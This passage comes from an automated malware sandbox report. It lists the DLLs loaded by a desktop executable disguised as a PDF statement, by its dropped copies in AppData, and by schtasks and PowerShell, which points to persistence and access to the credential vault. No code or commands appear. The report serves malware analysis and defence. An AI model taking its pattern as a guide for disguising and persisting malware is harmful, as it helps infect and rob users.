Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Section loaded: cryptsp.dll
